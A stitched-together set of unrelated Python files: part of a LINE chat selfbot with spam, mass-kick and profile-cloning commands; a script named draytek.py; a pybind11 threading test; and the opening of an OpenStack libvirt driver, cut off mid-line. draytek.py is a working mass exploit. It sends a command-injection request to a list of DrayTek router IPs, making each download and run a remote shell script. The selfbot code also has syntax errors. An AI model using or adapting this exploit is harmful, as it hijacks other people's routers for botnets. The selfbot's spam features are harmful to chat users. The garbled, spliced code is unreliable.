wait["blacklist"]: del wait["blacklist"][msg.contentMetadata["mid"]] cl.sendText(msg.to,"deleted") wait["dblacklist"] = False else: wait["dblacklist"] = False cl.sendText(msg.to,"It is not in the black list") #-------------------------------------------------------- elif wait["Contact"] == True: msg.contentType = 0 cl.sendText(msg.to,msg.contentMetadata["mid"]) if 'displayName' in msg.contentMetadata: contact = cl.getContact(msg.contentMetadata["mid"]) try: cu = cl.channel.getCover(msg.contentMetadata["mid"]) except: cu = "" cl.sendText(msg.to,"[displayName]:\n" + msg.contentMetadata["displayName"] + "\n[mid]:\n" + msg.contentMetadata["mid"] + "\n[statusMessage]:\n" + contact.statusMessage + "\n[pictureStatus]:\nhttp://dl.profile.line-cdn.net/" + contact.pictureStatus + "\n[coverURL]:\n" + str(cu)) else: contact = cl.getContact(msg.contentMetadata["mid"]) try: cu = cl.channel.getCover(msg.contentMetadata["mid"]) except: cu = "" cl.sendText(msg.to,"[displayName]:\n" + contact.displayName + "\n[mid]:\n" + msg.contentMetadata["mid"] + "\n[statusMessage]:\n" + contact.statusMessage + "\n[pictureStatus]:\nhttp://dl.profile.line-cdn.net/" + contact.pictureStatus + "\n[coverURL]:\n" + str(cu)) #-------------------------------------------------------- elif msg.text == "Ginfo": if msg.toType == 2: ginfo = cl.getGroup(msg.to) try: gCreator = ginfo.creator.displayName except: gCreator = "Error" if wait["lang"] == "JP": if ginfo.invitee is None: sinvitee = "0" else: sinvitee = str(len(ginfo.invitee)) if ginfo.preventJoinByTicket == True: u = "close" else: u = "open" cl.sendText(msg.to,"[Group name]\n" + str(ginfo.name) + "\n\n[Gid]\n" + msg.to + "\n\n[Group creator]\n" + gCreator + "\n\n[Profile status]\nhttp://dl.profile.line.naver.jp/" + ginfo.pictureStatus + "\n\nMembers:" + str(len(ginfo.members)) + "members\nPending:" + sinvitee + "people\nURL:" + u + "it is inside") else: cl.sendText(msg.to,"[group name]\n" + str(ginfo.name) + "\n[gid]\n" + msg.to + "\n[group creator]\n" + gCreator + "\n[profile status]\nhttp://dl.profile.line.naver.jp/" + ginfo.pictureStatus) else: if wait["lang"] == "JP": cl.sendText(msg.to,"Can not be used outside the group") else: cl.sendText(msg.to,"Not for use less than group") #-------------------------------------------------------- elif msg.text is None: return #-------------------------------------------------------- elif msg.text in ["Creator"]: msg.contentType = 13 msg.contentMetadata = {'mid': Creator} cl.sendMessage(msg) cl.sendText(msg.to,"Itu Yang Bikin BOT") #-------------------------------------------------------- elif msg.text in ["Group creator","Gcreator","gcreator"]: ginfo = cl.getGroup(msg.to) gCreator = ginfo.creator.mid msg.contentType = 13 msg.contentMetadata = {'mid': gCreator} cl.sendMessage(msg) cl.sendText(msg.to,"Itu Yang Buat Grup Ini") #-------------------------------------------------------- elif msg.contentType == 16: if wait["Timeline"] == True: msg.contentType = 0 msg.text = "post URL\n" + msg.contentMetadata["postEndUrl"] cl.sendText(msg.to,msg.text) #-------------------------------------------------------- elif msg.text in ["Key","help","Help"]: cl.sendText(msg.to,helpMessage) #-------------------------------------------------------- elif msg.text in ["List group"]: gid = cl.getGroupIdsJoined() h = "" jml = 0 for i in gid: gn = cl.getGroup(i).name h += "♦【%s】\n" % (gn) jml += 1 cl.sendText(msg.to,"======[List Group]======\n"+ h +"Total group: "+str(jml)) #-------------------------------------------------------- elif "Leave group: " in msg.text: ng = msg.text.replace("Leave group: ","") gid = cl.getGroupIdsJoined() for i in gid: h = cl.getGroup(i).name if h == ng: cl.sendText(i,"Bye "+h+"~") cl.leaveGroup(i) cl.sendText(msg.to,"Success left ["+ h +"] group") else: pass #-------------------------------------------------------- elif "Dosa @" in msg.text: tanya = msg.text.replace("Dosa @","") jawab = ("60%","70%","80%","90%","100%","Tak terhingga") jawaban = random.choice(jawab) cl.sendText(msg.to,"Dosanya " + tanya + "adalah " + jawaban + " Banyak banyak tobat Nak ") #------------------------------------------------------- elif "Pahala @" in msg.text: tanya = msg.text.replace("Pahala @","") jawab = ("0%","20%","40%","50%","60%","Tak ada") jawaban = random.choice(jawab) cl.sendText(msg.to,"Pahalanya " + tanya + "adalah " + jawaban + "\nTobatlah nak") #--------------------------------------------- elif "Cn " in msg.text: if msg.from_ in admin: string = msg.text.replace("Cn ","") if len(string.decode('utf-8')) <= 20: profile = cl.getProfile() profile.displayName = string cl.updateProfile(profile) cl.sendText(msg.to,"Update Names >" + string + "<") #-------------------------------------------------------- elif msg.text.lower() in ["Ats","Tag","Mention all"]: if msg.from_ in admin: group = cl.getGroup(msg.to) nama = [contact.mid for contact in group.members] nm1, nm2, nm3, nm4, nm5, jml = [], [], [], [], [], len(nama) if jml <= 100: mention(msg.to, nama) if jml > 100 and jml < 200: for i in range(0, 100): nm1 += [nama[i]] mention(msg.to, nm1) for j in range(101, len(nama)): nm2 += [nama[j]] mention(msg.to, nm2) if jml > 200 and jml < 300: for i in range(0, 100): nm1 += [nama[i]] mention(msg.to, nm1) for j in range(101, 200): nm2 += [nama[j]] mention(msg.to, nm2) for k in range(201, len(nama)): nm3 += [nama[k]] mention(msg.to, nm3) if jml > 300 and jml < 400: for i in range(0, 100): nm1 += [nama[i]] mention(msg.to, nm1) for j in range(101, 200): nm2 += [nama[j]] mention(msg.to, nm2) for k in range(201, 300): nm3 += [nama[k]] #-------------------------------------------------------- elif msg.text in ["cancel","Cancel"]: if msg.toType == 2: X = cl.getGroup(msg.to) if X.invitee is not None: gInviMids = [contact.mid for contact in X.invitee] cl.cancelGroupInvitation(msg.to, gInviMids) else: cl.sendText(msg.to,"No one is inviting") else: Cl.sendText(msg.to,"Can not be used outside the group") #-------------------------------------------------------- elif msg.text in ["Ourl","Url:on"]: if msg.toType == 2: X = cl.getGroup(msg.to) X.preventJoinByTicket = False cl.updateGroup(X) cl.sendText(msg.to,"Url Active") else: cl.sendText(msg.to,"Can not be used outside the group") #-------------------------------------------------------- elif msg.text in ["Curl","Url:off"]: if msg.toType == 2: X = cl.getGroup(msg.to) X.preventJoinByTicket = True cl.updateGroup(X) cl.sendText(msg.to,"Url inActive") else: cl.sendText(msg.to,"Can not be used outside the group") #-------------------------------------------------------- elif msg.text in ["Join on","Autojoin:on"]: wait["AutoJoin"] = True cl.sendText(msg.to,"AutoJoin Active") elif msg.text in ["Join off","Autojoin:off"]: wait["AutoJoin"] = False cl.sendText(msg.to,"AutoJoin inActive") #-------------------------------------------------------- elif msg.text in ["Autocancel:on"]: wait["AutoCancel"] = True cl.sendText(msg.to,"The group of people and below decided to automatically refuse invitation") print wait["AutoCancel"][msg.to] elif msg.text in ["Autocancel:off"]: wait["AutoCancel"] = False cl.sendText(msg.to,"Invitation refused turned off") print wait["AutoCancel"][msg.to] #-------------------------------------------------------- elif "Qr:on" in msg.text: wait["Qr"] = True cl.sendText(msg.to,"QR Protect Active") elif "Qr:off" in msg.text: wait["Qr"] = False cl.sendText(msg.to,"Qr Protect inActive") #-------------------------------------------------------- elif "Autokick:on" in msg.text: wait["AutoKick"] = True cl.sendText(msg.to,"AutoKick Active") elif "Autokick:off" in msg.text: wait["AutoKick"] = False cl.sendText(msg.to,"AutoKick inActive") #-------------------------------------------------------- elif msg.text in ["K on","Contact:on"]: wait["Contact"] = True cl.sendText(msg.to,"Contact Active") elif msg.text in ["K off","Contact:off"]: wait["Contact"] = False cl.sendText(msg.to,"Contact inActive") #-------------------------------------------------------- elif msg.text in ["Status"]: md = "" if wait["AutoJoin"] == True: md+="✦ Auto join : on\n" else: md +="✦ Auto join : off\n" if wait["Contact"] == True: md+="✦ Info Contact : on\n" else: md+="✦ Info Contact : off\n" if wait["AutoCancel"] == True:md+="✦ Auto cancel : on\n" else: md+= "✦ Auto cancel : off\n" if wait["Qr"] == True: md+="✦ Qr Protect : on\n" else:md+="✦ Qr Protect : off\n" if wait["AutoKick"] == True: md+="✦ Autokick : on\n" else:md+="✦ Autokick : off" cl.sendText(msg.to,"=====[Status]=====\n"+md) #-------------------------------------------------------- elif msg.text in ["Gift","gift"]: msg.contentType = 9 msg.contentMetadata={'PRDID': 'a0768339-c2d3-4189-9653-2909e9bb6f58', 'PRDTYPE': 'THEME', 'MSGTPL': '5'} msg.text = None cl.sendMessage(msg) elif msg.text in ["Gift1"]: msg.contentType = 9 msg.contentMetadata={'PRDID': '696d7046-843b-4ed0-8aac-3113ed6c0733', 'PRDTYPE': 'THEME', 'MSGTPL': '6'} msg.text = None cl.sendMessage(msg) elif msg.text in ["Gift2"]: msg.contentType = 9 msg.contentMetadata={'PRDID': '8fe8cdab-96f3-4f84-95f1-6d731f0e273e', 'PRDTYPE': 'THEME', 'MSGTPL': '7'} msg.text = None cl.sendMessage(msg) elif msg.text in ["Gift3"]: msg.contentType = 9 msg.contentMetadata={'PRDID': 'ae3d9165-fab2-4e70-859b-c14a9d4137c4', 'PRDTYPE': 'THEME', 'MSGTPL': '8'} msg.text = None cl.sendMessage(msg) #-------------------------------------------------------- elif "Spam " in msg.text: if msg.from_ in admin: txt = msg.text.split(" ") jmlh = int(txt[2]) teks = msg.text.replace("Spamg "+str(txt[1])+" "+str(jmlh)+ " ","") tulisan = jmlh * (teks+"\n") #Keke cantik <3 if txt[1] == "on": if jmlh <= 10000: for x in range(jmlh): cl.sendText(msg.to, teks) else: cl.sendText(msg.to, "Out of range! ") elif txt[1] == "off": if jmlh <= 10000: cl.sendText(msg.to, tulisan) else: cl.sendText(msg.to, "Out of range! ") #--------------------------CEK SIDER------------------------------ elif "Setview" in msg.text: subprocess.Popen("echo '' > dataSeen/"+msg.to+".txt", shell=True, stdout=subprocess.PIPE) cl.sendText(msg.to, "Checkpoint checked!") print "@setview" elif "Viewseen" in msg.text: lurkGroup = "" dataResult, timeSeen, contacts, userList, timelist, recheckData = [], [], [], [], [], [] with open('dataSeen/'+msg.to+'.txt','r') as rr: contactArr = rr.readlines() for v in xrange(len(contactArr) -1,0,-1): num = re.sub(r'\n', "", contactArr[v]) contacts.append(num) pass contacts = list(set(contacts)) for z in range(len(contacts)): arg = contacts[z].split('|') userList.append(arg[0]) timelist.append(arg[1]) uL = list(set(userList)) for ll in range(len(uL)): try: getIndexUser = userList.index(uL[ll]) timeSeen.append(time.strftime("%H:%M:%S", time.localtime(int(timelist[getIndexUser]) / 1000))) recheckData.append(userList[getIndexUser]) except IndexError: conName.append('nones') pass contactId = cl.getContacts(recheckData) for v in range(len(recheckData)): dataResult.append(contactId[v].displayName + ' ('+timeSeen[v]+')') pass if len(dataResult) > 0: tukang = "List Viewer\n*" grp = '\n* '.join(str(f) for f in dataResult) total = '\n\nTotal %i viewers (%s)' % (len(dataResult), datetime.now().strftime('%H:%M:%S') ) cl.sendText(msg.to, "%s %s %s" % (tukang, grp, total)) else: cl.sendText(msg.to, "Belum ada viewers") print "@viewseen" #-------------------------------------------------------- #KICK_BY_TAG elif "Boom " in msg.text: if msg.from_ in admin: if 'MENTION' in msg.contentMetadata.keys()!= None: names = re.findall(r'@(\w+)', msg.text) mention = ast.literal_eval(msg.contentMetadata['MENTION']) mentionees = mention['MENTIONEES'] print mentionees for mention in mentionees: cl.kickoutFromGroup(msg.to,[mention['M']]) #-------------------------------------------------------- elif "Add all" in msg.text: thisgroup = cl.getGroups([msg.to]) Mids = [contact.mid for contact in thisgroup[0].members] mi_d = Mids[:33] cl.findAndAddContactsByMids(mi_d) cl.sendText(msg.to,"Success Add all") #-------------------------------------------------------- elif "Recover" in msg.text: thisgroup = cl.getGroups([msg.to]) Mids = [contact.mid for contact in thisgroup[0].members] mi_d = Mids[:33] cl.createGroup("Recover", mi_d) cl.sendText(msg.to,"Success recover") #-------------------------------------------------------- elif msg.text in ["Remove all chat"]: cl.removeAllMessages(op.param2) cl.sendText(msg.to,"Removed all chat") #-------------------------------------------------------- elif ("Gn: " in msg.text): if msg.from_ in admin: if msg.toType == 2: X = cl.getGroup(msg.to) X.name = msg.text.replace("Gn: ","") cl.updateGroup(X) else: cl.sendText(msg.to,"It can't be used besides the group.") #-------------------------------------------------------- elif "Kick: " in msg.text: if msg.from_ in admin: midd = msg.text.replace("Kick: ","") if midd not in admin: cl.kickoutFromGroup(msg.to,[midd]) else: cl.sendText(msg.to,"Admin Detected") #-------------------------------------------------------- elif "Invite: " in msg.text: midd = msg.text.replace("Invite: ","") cl.findAndAddContactsByMid(midd) cl.inviteIntoGroup(msg.to,[midd]) #-------------------------------------------------------- elif msg.text in ["#welcome","Welcome","welcome","Welkam","welkam"]: gs = cl.getGroup(msg.to) cl.sendText(msg.to,"Selamat datang di "+ gs.name) #-------------------------------------------------------- elif "Bc: " in msg.text: bc = msg.text.replace("Bc: ","") gid = cl.getGroupIdsJoined() for i in gid: cl.sendText(i,"=======[BROADCAST]=======\n\n"+bc+"\n\nContact Me : line.me/ti/p/~anaichiro") cl.sendText(msg.to,"Success BC BosQ") #-------------------------------------------------------- elif msg.text in ["Cancelall"]: if msg.from_ in admin: gid = cl.getGroupIdsInvited() for i in gid: cl.rejectGroupInvitation(i) cl.sendText(msg.to,"All invitations have been refused") #-------------------------------------------------------- elif msg.text in ["Gurl"]: if msg.from_ in admin: if msg.toType == 2: x = cl.getGroup(msg.to) if x.preventJoinByTicket == True: x.preventJoinByTicket = False cl.updateGroup(x) gurl = cl.reissueGroupTicket(msg.to) cl.sendText(msg.to,"line://ti/g/" + gurl) else: if wait["lang"] == "JP": cl.sendText(msg.to,"Can't be used outside the group") else: cl.sendText(msg.to,"Not for use less than group") #-------------------------------------------------------- elif msg.text in ["Self Like"]: if msg.from_ in admin: try: print "activity" url = cl.activity(limit=1) print url cl.like(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], likeType=1001) cl.comment(url['result']['posts'][0]['userInfo']['mid'], url['result']['posts'][0]['postInfo']['postId'], "Auto Like By Ziad\nhttps://line.me.ti/p/~anaichiro") cl.sendText(msg.to, "Success~") except Exception as E: try: cl.sendText(msg.to,str(E)) except: pass #-------------------------------------------------------- elif msg.text in ["Speed","Sp"]: if msg.from_ in admin: start = time.time() cl.sendText(msg.to, "loading...................") elapsed_time = time.time() - start cl.sendText(msg.to, "%sseconds" % (elapsed_time)) #-------------------------------------------------------- elif msg.text in ["Ban"]: . if msg.from_ in admin: wait["wblacklist"] = True cl.sendText(msg.to,"send contact") elif msg.text in ["Unban"]: if msg.from_ in admin: wait["dblacklist"] = True cl.sendText(msg.to,"send contact") #-------------------------------------------------------- elif "Backup me" in msg.text: if msg.from_ in admin: try: cl.updateDisplayPicture(profile.pictureStatus) cl.updateProfile(profile) cl.sendText(msg.to, "Success backup profile") except Exception as e: cl.sendText(msg.to, str(e)) #-------------------------------------------------------- elif "Copy " in msg.text: if msg.from_ in admin: copy0 = msg.text.replace("Copy ","") copy1 = copy0.lstrip() copy2 = copy1.replace("@","") copy3 = copy2.rstrip() _name = copy3 group = cl.getGroup(msg.to) for contact in group.members: cname = cl.getContact(contact.mid).displayName if cname == _name: cl.CloneContactProfile(contact.mid) cl.sendText(msg.to, "Success~") else: pass #-------------------------------------------------------- elif "Ban @" in msg.text: if msg.from_ in admin: if msg.toType == 2: print "@Ban by mention" _name = msg.text.replace("Ban @","") _nametarget = _name.rstrip(' ') gs = cl.getGroup(msg.to) targets = [] for g in gs.members: if _nametarget == g.displayName: targets.append(g.mid) if targets == []: cl.sendText(msg.to,"Not found") else: for target in targets: if target not in admin: try: wait["blacklist"][target] = True f=codecs.open('st2__b.json','w','utf-8') json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False) cl.sendText(msg.to,"Succes BosQ") except: cl.sendText(msg.to,"Error") else: cl.sendText(msg.to,"Admin Detected~") #-------------------------------------------------------- elif msg.text in ["Banlist"]: if msg.from_ in admin: if wait["blacklist"] == {}: cl.sendText(msg.to,"nothing") else: mc = "" for mi_d in wait["blacklist"]: mc += "->" +cl.getContact(mi_d).displayName + "\n" cl.sendText(msg.to,"===[Blacklist User]===\n"+mc) #-------------------------------------------------------- elif "Unban @" in msg.text if msg.from_ in admin: if msg.toType == 2: print "@Unban by mention" _name = msg.text.replace("Unban @","") _nametarget = _name.rstrip(' ') gs = cl.getGroup(msg.to) targets = [] for g in gs.members: if _nametarget == g.displayName: targets.append(g.mid) if targets == []: cl.sendText(msg.to,"Not found") else: for target in targets: try: del wait["blacklist"][target] f=codecs.open('st2__b.json','w','utf-8') json.dump(wait["blacklist"], f, sort_keys=True, indent=4,ensure_ascii=False) cl.sendText(msg.to,"Succes BosQ") except: cl.sendText(msg.to,"Succes BosQ") #-------------------------------------------------------- elif msg.text in ["Kill ban"] if msg.from_ in admin: if msg.toType == 2: group = cl.getGroup(msg.to) gMembMids = [contact.mid for contact in group.members] matched_list = [] for tag in wait["blacklist"]: matched_list+=filter(lambda str: str == tag, gMembMids) if matched_list == []: cl.sendText(msg.to,"There was no blacklist user") returnhip for jj in matched_list: cl.kickoutFromGroup(msg.to,[jj]) cl.sendText(msg.to,"Blacklist emang pantas tuk di usir") #-------------------------------------------------------- elif msg.text in ["Kernel","kernel"]: if msg.from_ in admin: botKernel = subprocess.Popen(["uname","-svmo"], stdout=subprocess.PIPE).communicate()[0] cl.sendText(msg.to, botKernel) print "[Command]Kernel executed" #-------------------------------------------------------- # elif "Cleanse" in msg.text: # if msg.toType == 2: # print "Kick all member" # _name = msg.text.replace("Cleanse","") # gs = cl.getGroup(msg.to) # cl.sendText(msg.to,"Dadaaah~") # targets = [] # for g in gs.members: # if _name in g.displayName: # targets.append(g.mid) # if targets == []: # cl.sendText(msg.to,"Not found.") # else: # for target in targets: # if target not in admin: # try: # cl.kickoutFromGroup(msg.to,[target]) # print (msg.to,[g.mid]) # except Exception as e: # cl.sendText(msg.to,str(e)) # cl.inviteIntoGroup(msg.to, targets) #-------------------------------------------------------- #Restart_Program elif msg.text in ["Bot:restart"]: if msg.from_ in admin: cl.sendText(msg.to, "Bot has been restarted") restart_program() print "@Restart" #-------------------------------------------------------- if op.type == 59: print op except Exception as error: print error #thread2 = threading.Thread(target=nameUpdate) #thread2.daemon = True #thread2.start() while True: try: Ops = cl.fetchOps(cl.Poll.rev, 5) except EOFError: raise Exception("It might be wrong revision\n" + str(cl.Poll.rev)) for Op in Ops: if (Op.type != OpType.END_OF_OPERATION): cl.Poll.rev = max(cl.Poll.rev, Op.revision) bot(Op)
draytek.py
#!/usr/bin/python import random, socket, time, sys, requests, re, os from sys import stdout from Queue import * from threading import Thread if len(sys.argv) < 2: sys.exit("usage: python %s <input list> <port>" % (sys.argv[0])) ips = open(sys.argv[1], "r").readlines() port = sys.argv[2] queue = Queue() queue_count = 0 def send_payload(host): url = "http://" + host + ":" + port + "/cgibin/mainfunction.cgi&action=login&keyPath=wget+http%3A%2F%2F1.1.1.1%2Fares.sh+%3B+chmod+777+ares.sh+%3B+sh+ares.sh&loginUser=a&loginPwd=a" try: output = requests.get(url, timeout=3) if output.status_code == int('200'): print "\x1b[1;31m[\x1b[1;37mDrayTek\x1b[1;31m]\x1b[1;37m Xploiting\x1b[1;31m[\x1b[1;36m%s\x1b[1;31m]" % (host) except: pass return def main(): global queue_count for line in ips: line = line.strip("\r") line = line.strip("\n") queue_count += 1 sys.stdout.write("\r[%d] Added to queue" % (queue_count)) sys.stdout.flush() queue.put(line) sys.stdout.write("\n") i = 0 while i != queue_count: i += 1 try: input = queue.get() thread = Thread(target=send_payload, args=(input,)) thread.start() except KeyboardInterrupt: os.kill(os.getpid(),9) thread.join() return if __name__ == "__main__": main()
test_gil_scoped.py
import multiprocessing import threading from pybind11_tests import gil_scoped as m def _run_in_process(target, *args, **kwargs): """Runs target in process and returns its exitcode after 10s (None if still alive).""" process = multiprocessing.Process(target=target, args=args, kwargs=kwargs) process.daemon = True try: process.start() # Do not need to wait much, 10s should be more than enough. process.join(timeout=10) return process.exitcode finally: if process.is_alive(): process.terminate() def _python_to_cpp_to_python(): """Calls different C++ functions that come back to Python.""" class ExtendedVirtClass(m.VirtClass): def virtual_func(self): pass def pure_virtual_func(self): pass extended = ExtendedVirtClass() m.test_callback_py_obj(lambda: None) m.test_callback_std_func(lambda: None) m.test_callback_virtual_func(extended) m.test_callback_pure_virtual_func(extended) def _python_to_cpp_to_python_from_threads(num_threads, parallel=False): """Calls different C++ functions that come back to Python, from Python threads.""" threads = [] for _ in range(num_threads): thread = threading.Thread(target=_python_to_cpp_to_python) thread.daemon = True thread.start() if parallel: threads.append(thread) else: thread.join() for thread in threads: thread.join() def test_python_to_cpp_to_python_from_thread(): """Makes sure there is no GIL deadlock when running in a thread. It runs in a separate process to be able to stop and assert if it deadlocks. """ assert _run_in_process(_python_to_cpp_to_python_from_threads, 1) == 0 def test_python_to_cpp_to_python_from_thread_multiple_parallel(): """Makes sure there is no GIL deadlock when running in a thread multiple times in parallel. It runs in a separate process to be able to stop and assert if it deadlocks. """ assert _run_in_process(_python_to_cpp_to_python_from_threads, 8, parallel=True) == 0 def test_python_to_cpp_to_python_from_thread_multiple_sequential(): """Makes sure there is no GIL deadlock when running in a thread multiple times sequentially. It runs in a separate process to be able to stop and assert if it deadlocks. """ assert _run_in_process(_python_to_cpp_to_python_from_threads, 8, parallel=False) == 0 def test_python_to_cpp_to_python_from_process(): """Makes sure there is no GIL deadlock when using processes. This test is for completion, but it was never an issue. """ assert _run_in_process(_python_to_cpp_to_python) == 0 def test_cross_module_gil(): """Makes sure that the GIL can be acquired by another module from a GIL-released state.""" m.test_cross_module_gil() # Should not raise a SIGSEGV
driver.py
# Copyright 2010 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # All Rights Reserved. # Copyright (c) 2010 Citrix Systems, Inc. # Copyright (c) 2011 Piston Cloud Computing, Inc # Copyright (c) 2012 University Of Minho # (c) Copyright 2013 Hewlett-Packard Development Company, L.P. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. """ A connection to a hypervisor through libvirt. Supports KVM, LXC, QEMU, UML, and XEN. **Related Flags** :driver_type: Libvirt domain type. Can be kvm, qemu, uml, xen (default: kvm). :connection_uri: Override for the default libvirt URI (depends on driver_type). :disk_prefix: Override the default disk prefix for the devices attached to a server. :rescue_image_id: Rescue ami image (None = original image). :rescue_kernel_id: Rescue aki image (None = original image). :rescue_ramdisk_id: Rescue ari image (None = original image). :injected_network_template: Template file for injected network :allow_same_net_traffic: Whether to allow in project network traffic """ import errno import eventlet import functools import glob import mmap import os import shutil import socket import sys import tempfile import threading import time import uuid from eventlet import greenio from eventlet import greenthread from eventlet import patcher from eventlet import tpool from eventlet import util as eventlet_util from lxml import etree from oslo.config import cfg from nova.api.metadata import base as instance_metadata from nova import block_device from nova.compute import flavors from nova.compute import power_state from nova.compute import task_states from nova.compute import utils as compute_utils from nova.compute import vm_mode from nova import context as nova_context from nova import exception from nova.image import glance from nova.objects import flavor as flavor_obj from nova.objects import instance as instance_obj from nova.objects import service as service_obj from nova.openstack.common import excutils from nova.openstack.common import fileutils from nova.openstack.common.gettextutils import _ from nova.openstack.common import importutils from nova.openstack.common import jsonutils from nova.openstack.common import log as logging from nova.openstack.common import loopingcall from nova.openstack.common import processutils from nova.openstack.common import units from nova.openstack.common import xmlutils from nova.pci import pci_manager from nova.pci import pci_utils from nova.pci import pci_whitelist from nova import rpc from nova import utils from nova import version from nova.virt import configdrive from nova.virt import cpu from nova.virt.disk import api as disk from nova.virt import driver from nova.virt import event as virtevent from nova.virt import firewall from nova.virt.libvirt import blockinfo from nova.virt.libvirt import config as vconfig from nova.virt.libvirt import firewall as libvirt_firewall from nova.virt.libvirt import imagebackend from nova.virt.libvirt import imagecache from nova.virt.libvirt import utils as libvirt_utils from nova.virt import netutils from nova.virt import watchdog_actions from nova import volume from nova.volume import encryptors native_threading = patcher.original("threading") native_Queue = patcher.original("Queue") libvirt = None LOG = logging.getLogger(__name__) libvirt_opts = [ cfg.StrOpt('rescue_image_id', help='Rescue ami image', deprecated_group='DEFAULT'), cfg.StrOpt('rescue_kernel_id', help='Rescue aki image', deprecated_group='DEFAULT'), cfg.StrOpt('rescue_ramdisk_id', help='Rescue ari image', deprecated_group='DEFAULT'), cfg.StrOpt('virt_type', default='kvm', help='Libvirt domain type (valid options are: ' 'kvm, lxc, qemu, uml, xen)', deprecated_group='DEFAULT', deprecated_name='libvirt_type'), cfg.StrOpt('connection_uri', default='', help='Override the default libvirt URI ' '(which is dependent on virt_type)', deprecated_group='DEFAULT', deprecated_name='libvirt_uri'), cfg.BoolOpt('inject_password', default=False, help='Inject the admin password at boot time, ' 'without an agent.', deprecated_name='libvirt_inject_password', deprecated_group='DEFAULT'), cfg.BoolOpt('inject_key', default=False, help='Inject the ssh public key at boot time', deprecated_name='libvirt_inject_key', deprecated_group='DEFAULT'), cfg.IntOpt('inject_partition', default=-2, help='The partition to inject to : ' '-2 => disable, -1 => inspect (libguestfs only), ' '0 => not partitioned, >0 => partition number', deprecated_name='libvirt_inject_partition', deprecated_group='DEFAULT'), cfg.BoolOpt('use_usb_tablet', default=True, help='Sync virtual and real mouse cursors in Windows VMs', deprecated_group='DEFAULT'), cfg.StrOpt('live_migration_uri', default="qemu+tcp://%s/system", help='Migration target URI ' '(any included "%s" is replaced with ' 'the migration target hostname)', deprecated_group='DEFAULT'), cfg.StrOpt('live_migration_flag', default='VIR_MIGRATE_UNDEFINE_SOURCE, VIR_MIGRATE_PEER2PEER', help='Migration flags to be set for live migration', deprecated_group='DEFAULT'), cfg.StrOpt('block_migration_flag', default='VIR_MIGRATE_UNDEFINE_SOURCE, VIR_MIGRATE_PEER2PEER, ' 'VIR_MIGRATE_NON_SHARED_INC', help='Migration flags to be set for block migration', deprecated_group='DEFAULT'), cfg.IntOpt('live_migration_bandwidth', default=0, help='Maximum bandwidth to be used during migration, in Mbps', deprecated_group='DEFAULT'), cfg.StrOpt('snapshot_image_format', help='Snapshot image format (valid options are : ' 'raw, qcow2, vmdk, vdi). ' 'Defaults to same as source image', deprecated_group='DEFAULT'), cfg.StrOpt('vif_driver', default='nova.virt.libvirt.vif.LibvirtGenericVIFDriver', help='The libvirt VIF driver to configure the VIFs.', deprecated_name='libvirt_vif_driver', deprecated_group='DEFAULT'), cfg.ListOpt('volume_drivers', default=[ 'iscsi=nova.virt.libvirt.volume.LibvirtISCSIVolumeDriver', 'iser=nova.virt.libvirt.volume.LibvirtISERVolumeDriver', 'local=nova.virt.libvirt.volume.LibvirtVolumeDriver', 'fake=nova.virt.libvirt.volume.LibvirtFakeVolumeDriver', 'rbd=nova.virt.libvirt.volume.LibvirtNetVolumeDriver', 'sheepdog=nova.virt.libvirt.volume.LibvirtNetVolumeDriver', 'nfs=nova.virt.libvirt.volume.LibvirtNFSVolumeDriver', 'aoe=nova.virt.libvirt.volume.LibvirtAOEVolumeDriver', 'glusterfs=' 'nova.virt.libvirt.volume.LibvirtGlusterfsVolumeDriver', 'fibre_channel=nova.virt.libvirt.volume.' 'LibvirtFibreChannelVolumeDriver', 'scality=' 'nova.virt.libvirt.volume.LibvirtScalityVolumeDriver', ], help='Libvirt handlers for remote volumes.', deprecated_name='libvirt_volume_drivers', deprecated_group='DEFAULT'), cfg.StrOpt('disk_prefix', help='Override the default disk prefix for the devices attached' ' to a server, which is dependent on virt_type. ' '(valid options are: sd, xvd, uvd, vd)', deprecated_name='libvirt_disk_prefix', deprecated_group='DEFAULT'), cfg.IntOpt('wait_soft_reboot_seconds', default=120, help='Number of seconds to wait for instance to shut down after' ' soft reboot request is made. We fall back to hard reboot' ' if instance does not shutdown within this window.', deprecated_name='libvirt_wait_soft_reboot_seconds', deprecated_group='DEFAULT'), cfg.StrOpt('cpu_mode', help='Set to "host-model" to clone the host CPU feature flags; ' 'to "host-passthrough" to use the host CPU model exactly; ' 'to "custom" to use a named CPU model; ' 'to "none" to not set any CPU model. ' 'If virt_type="kvm|qemu", it will default to ' '"host-model", otherwise it will default to "none"', deprecated_name='libvirt_cpu_mode', deprecated_group='DEFAULT'), cfg.StrOpt('cpu_model', help='Set to a named libvirt CPU model (see names listed ' 'in /usr/share/libvirt/cpu_map.xml). Only has effect if ' 'cpu_mode="custom" and virt_type="kvm|qemu"', deprecated_name='libvirt_cpu_model', deprecated_group='DEFAULT'), cfg.StrOpt('snapshots_directory', default='$instances_path/snapshots', help='Location where libvirt driver will store snapshots ' 'before uploading them to image service', deprecated_name='libvirt_snapshots_directory', deprecated_group='DEFAULT'), cfg.StrOpt('xen_hvmloader_path', default='/usr/lib/xen/boot/hvmloader', help='Location where the Xen hvmloader is kept', deprecated_group='DEFAULT'), cfg.ListOpt('disk_cachemodes', default=[], help='Specific cachemodes to use for different disk types ' 'e.g: file=directsync,block=none', deprecated_group='DEFAULT'), cfg.StrOpt('rng_dev_path', help='A path to a device that will be used as source of ' 'entropy on the host. Permitted options are: ' '/dev/random or /dev/hwrng'), ] CONF = cfg.CONF CONF.register_opts(libvirt_opts, 'libvirt') CONF.import_opt('host', 'nova.netconf') CONF.import_opt('my_ip', 'nova.netconf') CONF.import_opt('default_ephemeral_format', 'nova.virt.driver') CONF.import_opt('use_cow_images', 'nova.virt.driver') CONF.import_opt('live_migration_retry_count', 'nova.compute.manager') CONF.import_opt('vncserver_proxyclient_address', 'nova.vnc') CONF.import_opt('server_proxyclient_address', 'nova.spice', group='spice') CONF.import_opt('vcpu_pin_set', 'nova.virt.cpu') CONF.import_opt('vif_plugging_is_fatal', 'nova.virt.driver') CONF.import_opt('vif_plugging_timeout', 'nova.virt.driver') DEFAULT_FIREWALL_DRIVER = "%s.%s" % ( libvirt_firewall.__name__, 